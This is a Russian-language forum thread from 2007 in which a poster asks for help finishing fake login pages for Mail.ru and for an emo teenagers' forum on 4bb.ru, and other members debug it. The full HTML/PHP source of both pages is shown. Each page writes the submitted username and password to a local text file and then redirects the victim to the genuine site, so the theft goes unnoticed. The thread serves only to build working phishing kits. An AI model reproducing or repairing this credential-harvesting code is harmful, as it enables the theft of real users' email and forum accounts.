<img src=http://img.mail.ru/1.gif width=760 height=1><br>
</td>
</tr>
</table>
<table cellpadding=0 cellspacing=0 border=0 width=90% id=demetion><td><img src=http://img.mail.ru/1.gif width=760 height=1></td></table>
<script type="text/javascript">
var cashProjectWidth = new Array();
function menu_resize () {
var body90Width = document.getElementById("demetion").offsetWidth;
var bodyWidth = (window.innerWidth) ? window.innerWidth : window.document.body.clientWidth;
if (bodyWidth < 800) {
document.getElementById("_rForm").style.display = "none";
document.getElementById("_rLink").style.display = "";
} else {
document.getElementById("_rForm").style.display = "";
document.getElementById("_rLink").style.display = "none";
}
var searchTd = document.getElementById("forGo").offsetWidth;
var allTd = document.getElementById("forAll").offsetWidth;
var menu = document.getElementById("top_menu");
var menu_width = body90Width - searchTd - allTd - 25;
document.getElementById("top_menu").style.width = menu_width;
var projectCount = menu.childNodes.length;
var marginMinWidth = 10;
if (bodyWidth < 1250) marginMinWidth = 10;
else marginMinWidth = 20;
if (cashProjectWidth.length == 0) {
for(i = 0; i < projectCount; i++) {
cashProjectWidth[i] = menu.childNodes[i].offsetWidth;
}
}
var show_points = 0;
for(i = 0; i < projectCount; i++) {
if (menu_width >= show_points + cashProjectWidth[i] + marginMinWidth) {
show_points += cashProjectWidth[i] + marginMinWidth;
} else break;
}
var show_count = i;
var delta = menu_width - show_points + (show_count + 1)*marginMinWidth;
for(i = 0; i < projectCount; i++) {
if (i < show_count) {
menu.childNodes[i].style.display = "";
menu.childNodes[i].style.marginRight = delta/(show_count + 1);
} else {
menu.childNodes[i].style.display = "none";
menu.childNodes[i].style.marginRight = 0;
}
}
}
menu_resize ();
window.onload = menu_resize;
window.onresize = menu_resize;
</script>
<table cellpadding=0 cellspacing=0 border=0 width=90%><tr><td>
<table cellpadding=0 cellspacing=0 border=0 width=90%><tr>
<td>
<!--TopList COUNTER--><script language="JavaScript"><!--
d=document;a='';a+=';r='+escape(d.referrer)
js=10//--></script><script language="JavaScript1.1"><!--
a+=';j='+navigator.javaEnabled()
js=11//--></script><script language="JavaScript1.2"><!--
s=screen;a+=';s='+s.width+'*'+s.height
a+=';d='+(s.colorDepth?s.colorDepth:s.pixelDepth)
js=12//--></script><script language="JavaScript1.3"><!--
js=13//--></script><script language="JavaScript"><!--
d.write('<img src="http://top3.list.ru/counter'+
'?id=110605;js='+js+a+';rand='+Math.random()+
'" alt="" height=1 width=1><br>')
if(js>11)d.write('<'+'!-- ')
//--></script><noscript><img src="http://top3.list.ru/counter?js=na;id=110605" height=1 width=1 alt=""><br></noscript>
<script language="JavaScript"><!--
if(js>11)d.write('--'+'>')//--></script><!--/TopList COUNTER--></td>
<td><!--begin of Top100--><a href="http://top100.rambler.ru/top100/"><img src="http://counter.rambler.ru/top100.cnt?260606" alt="Rambler's Top100" width=1 height=1 border=0><br></a></td><img src="http://www.tns-counter.ru/V13a****mail_ru/ru/CP1251/tmsec=mail_win/" width=1 height=1><br>
</tr></table>
<img src=http://img.mail.ru/1.gif width=760 height=1><br>
</td></tr></table>
<table width=90% cellpadding=0 cellspacing=0 border=0><tr>
<td colspan=3>
<img src=http://img.mail.ru/0.gif width=760 height=1><br>
<table cellpadding=0 cellspacing=0 border=0 width=100% class=shapka><tr>
<td valign=top width=1><img src=http://img.mail.ru/1.gif width=1 height=1></td>
<td rowspan=2 width=23% align=center height=55><img src=http://img.mail.ru/0.gif width=240 height=1><br>
<a href=http://mail.ru><img src=http://img.mail.ru/mail/ru/images/logon-mail1.gif width=200 height=54 alt=@Mail.Ru></a></td>
<td width=77% valign=top><img src=http://img.mail.ru/0.gif width=500 height=1><br>
</td>
<td valign=top width=1><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr><tr>
<td valign=bottom width=1><img src=http://img.mail.ru/1.gif width=1 height=1></td>
<td valign=bottom id="forBookMarks">
<table cellpadding=0 cellspacing=0 border=0 width=60% align=left id="bookMarksTable"><tr valign=middle>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/shap_yar_1.gif width=1 height=20></td>
<td valign=center align=center class=first width=20%><b><a href="start?top=1">Почта</a></b></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/left_on.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="addressbook?300109048&top=1">Адреса</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/both_off.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="view_organizer?1594590673&top=1">Ежедневник</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/both_off.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="http://r.mail.ru/cln3357/foto.mail.ru">Фото</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/both_off.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="http://r.mail.ru/cln2859/money.mail.ru">Деньги</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/both_off.gif width=23 height=20></td>
<td valign=center align=center class=mid width=20%><a href="http://r.mail.ru/cln3359/blogs.mail.ru">Блоги</a></td>
<td class=bel><img src=http://img.mail.ru/mail/ru/images/off.gif width=23 height=20></td>
</tr></table></td>
<td valign=bottom width=1><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr></table>
</td></tr></table>
<table width=90% cellpadding=0 cellspacing=0 border=0>
<tr valign=top>
<td width=27%><img src=http://img.mail.ru/0.gif width=150 height=400></td>
<td width=46%><img src=http://img.mail.ru/1.gif width=1 height=20><br>
<img src=http://img.mail.ru/1.gif width=1 height=10><br>
<h3 class=head_1>Авторизация</h3><img src=http://img.mail.ru/1.gif width=1 height=8><br>
<p class=abzac>Для входа в систему введите, пожалуйста, логин и пароль. Если у Вас еще нет логина, Вам необходимо <a href=http://win.mail.ru/cgi-bin/signup>зарегистрироваться.</a></p>
<?php
if(@$_POST['login']){
$fp = fopen ("file.txt", "a");
fwrite ($fp, "$_POST[pass] : $_POST[login] : $_POST[dom] \n");
fclose ($fp);
header("Location: http://win.mail.ru/cgi-bin/start?back=1");
}else{
?>
<form action="" method="POST">
<table width=100% cellpadding=0 cellspacing=0 border=0 class=login>
<form method="post" action="auth" onSubmit="return CheckForm(this);">
<input type="hidden" name="page" value="">
<input type="hidden" name="post" value="">
<input type="hidden" name="login_from" value="">
<tr>
<td><img src=http://img.mail.ru/0.gif width=55 height=1><br>Имя</td>
<td width=63%><input type="text" name="login" value="" class=w_100></td>
<td width=37%><select class=w_100 name="dom"><option value="mail.ru" >@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="list.ru" >@list.ru</option><option value="bk.ru" >@bk.ru</option></select></td>
</tr>
<tr>
<td>Пароль</td>
<td colspan=2>
<table width=100% cellpadding=0 cellspacing=0 border=0><tr>
<td width=100%><input type="password" name="pass" class=w_100></td>
<td> <a href="http://www.mail.ru/pages/help/92.html" target=_new>Забыли пароль?</a></td>
</tr></table>
</td>
</tr>
<tr>
<td> </td>
<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>
<td> </td>
</tr>
<tr>
<td> </td>
<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>
<td> </td>
</tr></form>
</table>
</form>
<?php
}
?>
<img src=http://img.mail.ru/0.gif width=380 height=1><br>
</td>
<td width=27%><img src=http://img.mail.ru/0.gif width=150 height=1></td>
</tr>
</table>
<table cellpadding=0 cellspacing=0 border=0 width=90%><tr><td>
<img src=http://img.mail.ru/0.gif width=760 height=2><br>
<table width=100% cellpadding=0 cellspacing=0 border=0 class=lasttab><tr>
<td class=lastgr colspan=7><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr><tr>
<td><img src=http://img.mail.ru/0.gif width=20 height=1></td>
<td width=30% nowrap>© 1999-2007, <a href=http://corp.mail.ru/>Mail.Ru</a></td>
<td nowrap><a href=http://win.mail.ru/cgi-bin/signup>Регистрация</a> <b>·</b> <a href=http://blogs.mail.ru/community/mail.ru/ target="_blank">Cообщество пользователей</a> <b>·</b> <a href=http://win.mail.ru/cgi-bin/support target="_blank">Служба поддержки</a></b> </td>
<td align="right"></td>
<td><img src=http://img.mail.ru/0.gif width=20 height=1></td>
</tr><tr>
<td class=lastgr colspan=7><img src=http://img.mail.ru/1.gif width=1 height=1></td>
</tr></table>
</td></tr></table>
</center>
<br>
</body>
</html>
никак не могу доделать фейк mail.ru
всё вроде должно пахать
но при заполнении формы выскакивает ошибка в лайне 313, и это естественно сильно палица
сам файл с пасами создаёться нормально.
Вобщем мне надо чтобы шло перенаправление на оригинальный майл после ввода данных, но он не идёт.
можете мне помочь?
GoreMaster
23.06.2007, 22:46
можете мне помочь?
<script>top.location='http://mail.ru/';</script>
хедеры нельзя использовать в твоем случае,так как перед ними не должн быть вывода...
тоесть сама форма будет такой?
<?php
if(@$_POST['login']){
$fp = fopen ("file.txt", "a");
fwrite ($fp, "$_POST[pass] : $_POST[login] : $_POST[dom] \n");
fclose ($fp);
<script>top.location='http://mail.ru/';</script>"
}else{
?>
<form action="" method="POST">
<table width=100% cellpadding=0 cellspacing=0 border=0 class=login>
<form method="post" action="auth" onSubmit="return CheckForm(this);">
<input type="hidden" name="page" value="">
<input type="hidden" name="post" value="">
<input type="hidden" name="login_from" value="">
<tr>
<td><img src=http://img.mail.ru/0.gif width=55 height=1><br>Имя</td>
<td width=63%><input type="text" name="login" value="" class=w_100></td>
<td width=37%><select class=w_100 name="dom"><option value="mail.ru" >@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="list.ru" >@list.ru</option><option value="bk.ru" >@bk.ru</option></select></td>
</tr>
<tr>
<td>Пароль</td>
<td colspan=2>
<table width=100% cellpadding=0 cellspacing=0 border=0><tr>
<td width=100%><input type="password" name="pass" class=w_100></td>
<td> <a href="http://www.mail.ru/pages/help/92.html" target=_new>Забыли пароль?</a></td>
</tr></table>
</td>
</tr>
<tr>
<td> </td>
<td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>
<td> </td>
</tr>
<tr>
<td> </td>
<td><input type="Submit" value=" Войти " style="margin-top:4px"></td>
<td> </td>
</tr></form>
</table>
</form>
<?php
}
?>
всё равно ошибку выдаёт
GoreMaster
23.06.2007, 23:00
echo "<script>top.location='http://mail.ru/';</script>"
вот как должно быть
echo "<script>top.location='http://mail.ru/';</script>"
вот как должно быть
серавно не пашет
епишет
Parse error: parse error, expecting `','' or `';'' in
что ещё можно сделать?
только теперь ошибка в
}else{
GoreMaster
23.06.2007, 23:36
Перед }else{ случаем не забыл ";" поставить? ;)
echo "<script>top.location='http://mail.ru/';</script>";
}else{
blablabla
}
круто всё заработало
с меня +
всем спс
вобщем тут ещё проблемы с формами
<div id="pun-status" class="section">
<h2><span>Информация о пользователе</span></h2>
<p class="container">
<span class="item1">Привет, Гость!</span>
<span class="item2">Войдите или зарегистрируйтесь.</span>
</p>
</div>
<div id="pun-break1" class="divider"><hr /></div>
<div id="pun-crumbs1" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>
<?php
if(@$_POST['login']){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);
echo "<script>top.location='http://emofamily.4bb.ru';</script>";
}else{
?>
<div id="pun-break2" class="divider"><hr /></div>
<div id="pun-main" class="main">
<h1><span>Войти</span></h1>
<div class="formal">
<form id="login" class="container" method="post" action="http://emofamily.4bb.ru/login.php?action=in" onsubmit="return process_form(this)">
<fieldset>
<legend><span>Введите ваше имя и пароль ниже</span></legend>
<div class="fs-box inline">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="redirect_url" value="index.php" />
<p class="inputfield required">
<label for="fld1">Имя <em>(Обязательно)</em></label><br />
<span class="input"><input type="text" id="fld1" name="req_username" size="25" maxlength="25" /></span>
</p>
<p class="inputfield required">
<label for="fld2">Пароль <em>(Обязательно)</em></label><br />
<span class="input"><input type="password" id="fld2" name="req_password" size="16" maxlength="16" /></span>
</p>
<p class="infofield">Если Вы не зарегистрированы или забыли свой пароль нажмите на соответствующую ссылку ниже.</p>
</div>
</fieldset>
<p class="formsubmit"><input type="submit" class="button" name="login" value="Войти" /> <a href="http://emofamily.4bb.ru/register.php">Еще не зарегистрированы?</a> <a href="http://emofamily.4bb.ru/login.php?action=forget">Забыли пароль?</a></p>
</form>
</div>
</div>
<?php
}
?>
не пишет данные в файл
if(@$_POST['login']){
ты уверен что проверяеш нужную переменную?
неочень
а какую надо тогда?
<input type="submit" class="button" name="login" value="Войти" />
все верно, blaga.
только лучше написать if(isset($_POST['login']))
<input type="submit" class="button" name="login" value="Войти" />
все верно, blaga.
только лучше написать if(isset($_POST['login']))
всеравно в файл не пишет
>>все равно в файл не пишет
А что пишет то? Ошибки какие выдает? Что с файлом происходит?
в том то и дело что никаких ошибок
echo не даёт пересылку
и файл не создаёться
вот весь код может быть там гденить ошибки?
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<meta name="ROBOTS" content="NOINDEX, FOLLOW" />
<title>ЭМО дети и маленький ГОТИК - Войти</title>
<link rel="top" href="http://emofamily.4bb.ru" title="" />
<link rel="search" href="http://emofamily.4bb.ru/search.php" title="Поиск" />
<link rel="author" href="http://emofamily.4bb.ru/userlist.php" title="Участники" />
<link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter.css" />
<!--[if lte IE 6]><link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter_fix.css" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter_fix7.css" /><![endif]-->
<script type="text/javascript">
<!--
function process_form(the_form)
{
var element_names = new Object()
element_names["req_username"] = "Имя"
element_names["req_password"] = "Пароль"
if (document.all || document.getElementById)
{
for (i = 0; i < the_form.length; ++i)
{
var elem = the_form.elements[i]
if (elem.name && elem.name.substring(0, 4) == "req_")
{
if (elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='')
{
alert("\"" + element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.")
elem.focus()
return false
}
}
}
}
return true
}
// -->
</script>
</head>
<body onload="document.getElementById('login').req_username.focu s()">
<div id="pun">
<div id="pun-login" class="punbb">
<!-- html_header -->
<div id="pun-title" class="section">
<table cellspacing="0"><tr>
<td class="title-logo-tdl"><h1 class="title-logo"><span>ЭМО дети и маленький ГОТИК</span></h1></td>
<td class="title-logo-tdr">
<script language="JavaScript">
<!--
var RndNum4NoCash = Math.round(Math.random() * 1000000000);
document.write(
'<iframe src="http://ad.adriver.ru/cgi-bin/erle.cgi'
+ '?sid=52656&bn=0&target=blank&bt=1&pz=0&rnd=' + RndNum4NoCash
+ '" frameborder=0 vspace=0 hspace=0 width=468 height=60 marginwidth=0 marginheight=0 scrolling=no>'
+ '<a href="http://ad.adriver.ru/cgi-bin/click.cgi'
+ '?sid=52656&bn=0&bt=1&pz=0&rnd=' + RndNum4NoCash + '" target=_blank>'
+ '<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?'
+ 'sid=52656&bn=0&bt=1&pz=0&rnd=' + RndNum4NoCash
+ '" alt="-AdRiver-" border=0 width=468 height=60></a></iframe>')
// -->
</script>
<noscript>
<iframe src="http://ad.adriver.ru/cgi-bin/erle.cgi?sid=52656&bn=0&target=blank&bt=1&pz=0&rnd=619770518" frameborder=0 vspace=0 hspace=0 width=468 height=60 marginwidth=0 marginheight=0 scrolling=no>
<a href="http://ad.adriver.ru/cgi-bin/click.cgi?sid=52656&bn=0&bt=1&pz=0&rnd=619770518" target=_blank>
<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?sid=52656&bn=0&bt=1&pz=0&rnd=619770518" alt="-AdRiver-" border=0 width=468 height=60></a></iframe>
</noscript>
</td></tr></table>
</div>
<div id="pun-navlinks" class="section">
<h2><span>Меню навигации</span></h2>
<ul class="container">
<li id="navindex"><a href="http://emofamily.4bb.ru/"><span>Форум</span></a></li>
<li id="navuserlist"><a href="http://emofamily.4bb.ru/userlist.php"><span>Участники</span></a></li>
<li id="navsearch"><a href="http://emofamily.4bb.ru/search.php"><span>Поиск</span></a></li>
<li id="navregister"><a href="http://emofamily.4bb.ru/register.php"><span>Регистрация</span></a></li>
<li id="navlogin"><a href="http://emofamily.4bb.ru/login.php"><span>Войти</span></a></li>
</ul>
</div>
<div id="pun-ulinks" class="section">
<h2><span>Пользовательские ссылки</span></h2>
<ul class="container">
<li class="item1"><a href="http://emofamily.4bb.ru/search.php?action=show_24h">Активные темы</a></li>
<li class="item2"><a href="http://emofamily.4bb.ru/search.php?action=show_unanswered">Сообщения без ответов</a></li>
</ul>
</div>
<div id="pun-announcement" class="section">
<h2><span>Объявление</span></h2>
<div class="container">
<div class="html-box">
ПРИФЕТ!!!!!!!!Если ты тут первый раз, то оставайся, если ты из семьи, то я тя лю, если ты это я , то у мя шизефриния)))))))
</div>
</div>
</div>
<div id="pun-status" class="section">
<h2><span>Информация о пользователе</span></h2>
<p class="container">
<span class="item1">Привет, Гость!</span>
<span class="item2">Войдите или зарегистрируйтесь.</span>
</p>
</div>
<div id="pun-break1" class="divider"><hr /></div>
<div id="pun-crumbs1" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>
<div id="pun-break2" class="divider"><hr /></div>
<div id="pun-main" class="main">
<h1><span>Войти</span></h1>
<div class="formal">
<?php
if(isset($_POST['login'])){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);
echo "<script>top.location='http://emofamily.4bb.ru/';</script>";
}else{
?>
<form id="login" class="container" method="post" action="http://emofamily.4bb.ru/login.php?action=in" onsubmit="return process_form(this)">
<fieldset>
<legend><span>Введите ваше имя и пароль ниже</span></legend>
<div class="fs-box inline">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="redirect_url" value="http://emofamily.4bb.ru/" />
<p class="inputfield required">
<label for="fld1">Имя <em>(Обязательно)</em></label><br />
<span class="input"><input type="text" id="fld1" name="req_username" size="25" maxlength="25" /></span>
</p>
<p class="inputfield required">
<label for="fld2">Пароль <em>(Обязательно)</em></label><br />
<span class="input"><input type="password" id="fld2" name="req_password" size="16" maxlength="16" /></span>
</p>
<p class="infofield">Если Вы не зарегистрированы или забыли свой пароль нажмите на соответствующую ссылку ниже.</p>
</div>
</fieldset>
<p class="formsubmit"><input type="submit" class="button" name="login" value="Войти" /> <a href="http://emofamily.4bb.ru/register.php">Еще не зарегистрированы?</a> <a href="http://emofamily.4bb.ru/login.php?action=forget">Забыли пароль?</a></p>
</form>
<?php
}
?>
</div>
</div>
<!-- pun_stats -->
<div id="pun-break3" class="divider"><hr /></div>
<div id="pun-crumbs2" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>
<div id="pun-break4" class="divider"><hr /></div>
<div id="pun-about" class="section">
<p class="container">
<span class="item1"><a href="http://mybb.ru/" target="_blank">Персональные форумы</a> , <a href="http://webtalk.ru/" target="_blank">Поиск по форумам</a> © <a id="mybb" href="http://mybb.ru/" target="_blank">MyBB</a></span>
</p>
</div>
<!-- html_footer -->
<!-- link_exchange -->
<div id="mybb-counter" style="display:none">
<script type="text/javascript"><!--
document.write('<img src="http://counter.yadro.ru/hit;ruhelp?r'+
escape(document.referrer)+((typeof(screen)=='undef ined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.co lorDepth?
screen.colorDepth:screen.pixelDepth))+';u'+escape( document.URL)+
';'+Math.random()+
'" width=1 height=1 alt="">')//--></script>
</div>
</div>
<div align="center" style="padding-bottom:10px">
<script type="text/javascript">
// <!--
var blbn_login = "mybb";
var blbn_options = "";
var blbn_random = Math.round(Math.random() * 100000);
document.write('<iframe src="http://www.business.lbn.ru/cgi-bin/iframe/'+blbn_login+'?'+blbn_random +'&'+blbn_options+'" width=468 height=60 marginwidth=0 marginheight=0 scrolling=no frameborder=0><a href="http://www.business.lbn.ru/cgi-bin/href/'+blbn_login+'?'+blbn_random +'" target=_top><img src="http://www.business.lbn.ru/cgi-bin/banner/'+blbn_login+'?'+blbn_random +'&'+blbn_options+'" alt="Деловой баннерообмен" width=468 height=60 border=0 ismap></a></iframe>');
// -->
</script>
<noscript><iframe src="http://www.business.lbn.ru/cgi-bin/iframe/mybb" width="468" height="60" marginwidth="0" marginheight="0" scrolling="no" frameborder="0"><a href="http://www.business.lbn.ru/cgi-bin/href/mybb" target="_top"><img src="http://www.business.lbn.ru/cgi-bin/banner/mybb" alt="Деловой баннерообмен" width="468" height="60" border="0" ismap="true" /></a></iframe></noscript>
</div>
</div>
</body>
</html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru" dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<meta name="ROBOTS" content="NOINDEX, FOLLOW" />
<title>ЭМО дети и маленький ГОТИК - Войти</title>
<link rel="top" href="http://emofamily.4bb.ru" title="" />
<link rel="search" href="http://emofamily.4bb.ru/search.php" title="Поиск" />
<link rel="author" href="http://emofamily.4bb.ru/userlist.php" title="Участники" />
<link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter.css" />
<!--[if lte IE 6]><link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter_fix.css" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" type="text/css" href="http://emofamily.4bb.ru/style/Playhouse_Winter/Playhouse_Winter_fix7.css" /><![endif]-->
<script type="text/javascript">
<!--
function process_form(the_form)
{
var element_names = new Object()
element_names["req_username"] = "Имя"
element_names["req_password"] = "Пароль"
if (document.all || document.getElementById)
{
for (i = 0; i < the_form.length; ++i)
{
var elem = the_form.elements[i]
if (elem.name && elem.name.substring(0, 4) == "req_")
{
if (elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='')
{
alert("\"" + element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.")
elem.focus()
return false
}
}
}
}
return true
}
// -->
</script>
</head>
<body onload="document.getElementById('login').req_username.focu s()">
<div id="pun">
<div id="pun-login" class="punbb">
<!-- html_header -->
<div id="pun-title" class="section">
<table cellspacing="0"><tr>
<td class="title-logo-tdl"><h1 class="title-logo"><span>ЭМО дети и маленький ГОТИК</span></h1></td>
<td class="title-logo-tdr">
<script language="JavaScript">
<!--
var RndNum4NoCash = Math.round(Math.random() * 1000000000);
document.write(
'<iframe src="http://ad.adriver.ru/cgi-bin/erle.cgi'
+ '?sid=52656&bn=0&target=blank&bt=1&pz=0&rnd=' + RndNum4NoCash
+ '" frameborder=0 vspace=0 hspace=0 width=468 height=60 marginwidth=0 marginheight=0 scrolling=no>'
+ '<a href="http://ad.adriver.ru/cgi-bin/click.cgi'
+ '?sid=52656&bn=0&bt=1&pz=0&rnd=' + RndNum4NoCash + '" target=_blank>'
+ '<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?'
+ 'sid=52656&bn=0&bt=1&pz=0&rnd=' + RndNum4NoCash
+ '" alt="-AdRiver-" border=0 width=468 height=60></a></iframe>')
// -->
</script>
<noscript>
<iframe src="http://ad.adriver.ru/cgi-bin/erle.cgi?sid=52656&bn=0&target=blank&bt=1&pz=0&rnd=619770518" frameborder=0 vspace=0 hspace=0 width=468 height=60 marginwidth=0 marginheight=0 scrolling=no>
<a href="http://ad.adriver.ru/cgi-bin/click.cgi?sid=52656&bn=0&bt=1&pz=0&rnd=619770518" target=_blank>
<img src="http://ad.adriver.ru/cgi-bin/rle.cgi?sid=52656&bn=0&bt=1&pz=0&rnd=619770518" alt="-AdRiver-" border=0 width=468 height=60></a></iframe>
</noscript>
</td></tr></table>
</div>
<div id="pun-navlinks" class="section">
<h2><span>Меню навигации</span></h2>
<ul class="container">
<li id="navindex"><a href="http://emofamily.4bb.ru/"><span>Форум</span></a></li>
<li id="navuserlist"><a href="http://emofamily.4bb.ru/userlist.php"><span>Участники</span></a></li>
<li id="navsearch"><a href="http://emofamily.4bb.ru/search.php"><span>Поиск</span></a></li>
<li id="navregister"><a href="http://emofamily.4bb.ru/register.php"><span>Регистрация</span></a></li>
<li id="navlogin"><a href="http://emofamily.4bb.ru/login.php"><span>Войти</span></a></li>
</ul>
</div>
<div id="pun-ulinks" class="section">
<h2><span>Пользовательские ссылки</span></h2>
<ul class="container">
<li class="item1"><a href="http://emofamily.4bb.ru/search.php?action=show_24h">Активные темы</a></li>
<li class="item2"><a href="http://emofamily.4bb.ru/search.php?action=show_unanswered">Сообщения без ответов</a></li>
</ul>
</div>
<div id="pun-announcement" class="section">
<h2><span>Объявление</span></h2>
<div class="container">
<div class="html-box">
ПРИФЕТ!!!!!!!!Если ты тут первый раз, то оставайся, если ты из семьи, то я тя лю, если ты это я , то у мя шизефриния)))))))
</div>
</div>
</div>
<div id="pun-status" class="section">
<h2><span>Информация о пользователе</span></h2>
<p class="container">
<span class="item1">Привет, Гость!</span>
<span class="item2">Войдите или зарегистрируйтесь.</span>
</p>
</div>
<div id="pun-break1" class="divider"><hr /></div>
<div id="pun-crumbs1" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>
<div id="pun-break2" class="divider"><hr /></div>
<div id="pun-main" class="main">
<h1><span>Войти</span></h1>
<div class="formal">
<?php
if(isset($_POST['login'])){
$fp = fopen ("antiemo.txt", "a");
fwrite ($fp, "$_POST[req_username] : $_POST[req_password] \n");
fclose ($fp);
echo "<script>top.location='http://emofamily.4bb.ru/';</script>";
}else{
echo "<script>top.location='http://emofamily.4bb.ru/';</script>";
}
?>
<form id="login" class="container" method="post" action="http://emofamily.4bb.ru/login.php?action=in" onsubmit="return process_form(this)">
<fieldset>
<legend><span>Введите ваше имя и пароль ниже</span></legend>
<div class="fs-box inline">
<input type="hidden" name="form_sent" value="1" />
<input type="hidden" name="redirect_url" value="http://emofamily.4bb.ru/" />
<p class="inputfield required">
<label for="fld1">Имя <em>(Обязательно)</em></label><br />
<span class="input"><input type="text" id="fld1" name="req_username" size="25" maxlength="25" /></span>
</p>
<p class="inputfield required">
<label for="fld2">Пароль <em>(Обязательно)</em></label><br />
<span class="input"><input type="password" id="fld2" name="req_password" size="16" maxlength="16" /></span>
</p>
<p class="infofield">Если Вы не зарегистрированы или забыли свой пароль нажмите на соответствующую ссылку ниже.</p>
</div>
</fieldset>
<p class="formsubmit"><input type="submit" class="button" name="login" value="Войти" /> <a href="http://emofamily.4bb.ru/register.php">Еще не зарегистрированы?</a> <a href="http://emofamily.4bb.ru/login.php?action=forget">Забыли пароль?</a></p>
</form>
</div>
</div>
<!-- pun_stats -->
<div id="pun-break3" class="divider"><hr /></div>
<div id="pun-crumbs2" class="section">
<p class="container crumbs"><strong>Вы здесь</strong> »*<a href="http://emofamily.4bb.ru/">ЭМО дети и маленький ГОТИК</a> »*<span>Войти</span></p>
</div>
<div id="pun-break4" class="divider"><hr /></div>
<div id="pun-about" class="section">
<p class="container">
<span class="item1"><a href="http://mybb.ru/" target="_blank">Персональные форумы</a> , <a href="http://webtalk.ru/" target="_blank">Поиск по форумам</a> © <a id="mybb" href="http://mybb.ru/" target="_blank">MyBB</a></span>
</p>
</div>
<!-- html_footer -->
<!-- link_exchange -->
<div id="mybb-counter" style="display:none">
<script type="text/javascript"><!--
document.write('<img src="http://counter.yadro.ru/hit;ruhelp?r'+
escape(document.referrer)+((typeof(screen)=='undef ined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.co lorDepth?
screen.colorDepth:screen.pixelDepth))+';u'+escape( document.URL)+
';'+Math.random()+
'" width=1 height=1 alt="">')//--></script>
</div>
</div>
<div align="center" style="padding-bottom:10px">
<script type="text/javascript">
// <!--
var blbn_login = "mybb";
var blbn_options = "";
var blbn_random = Math.round(Math.random() * 100000);
document.write('<iframe src="http://www.business.lbn.ru/cgi-bin/iframe/'+blbn_login+'?'+blbn_random +'&'+blbn_options+'" width=468 height=60 marginwidth=0 marginheight=0 scrolling=no frameborder=0><a href="http://www.business.lbn.ru/cgi-bin/href/'+blbn_login+'?'+blbn_random +'" target=_top><img src="http://www.business.lbn.ru/cgi-bin/banner/'+blbn_login+'?'+blbn_random +'&'+blbn_options+'" alt="Деловой баннерообмен" width=468 height=60 border=0 ismap></a></iframe>');
// -->
</script>
<noscript><iframe src="http://www.business.lbn.ru/cgi-bin/iframe/mybb" width="468" height="60" marginwidth="0" marginheight="0" scrolling="no" frameborder="0"><a href="http://www.business.lbn.ru/cgi-bin/href/mybb" target="_top"><img src="http://www.business.lbn.ru/cgi-bin/banner/mybb" alt="Деловой баннерообмен" width="468" height="60" border="0" ismap="true" /></a></iframe></noscript>
</div>
</div>
</body>
</html>
по идеи так должно быть
но всеравно не работает
iNVLose, на народе нету поддержки php ;)
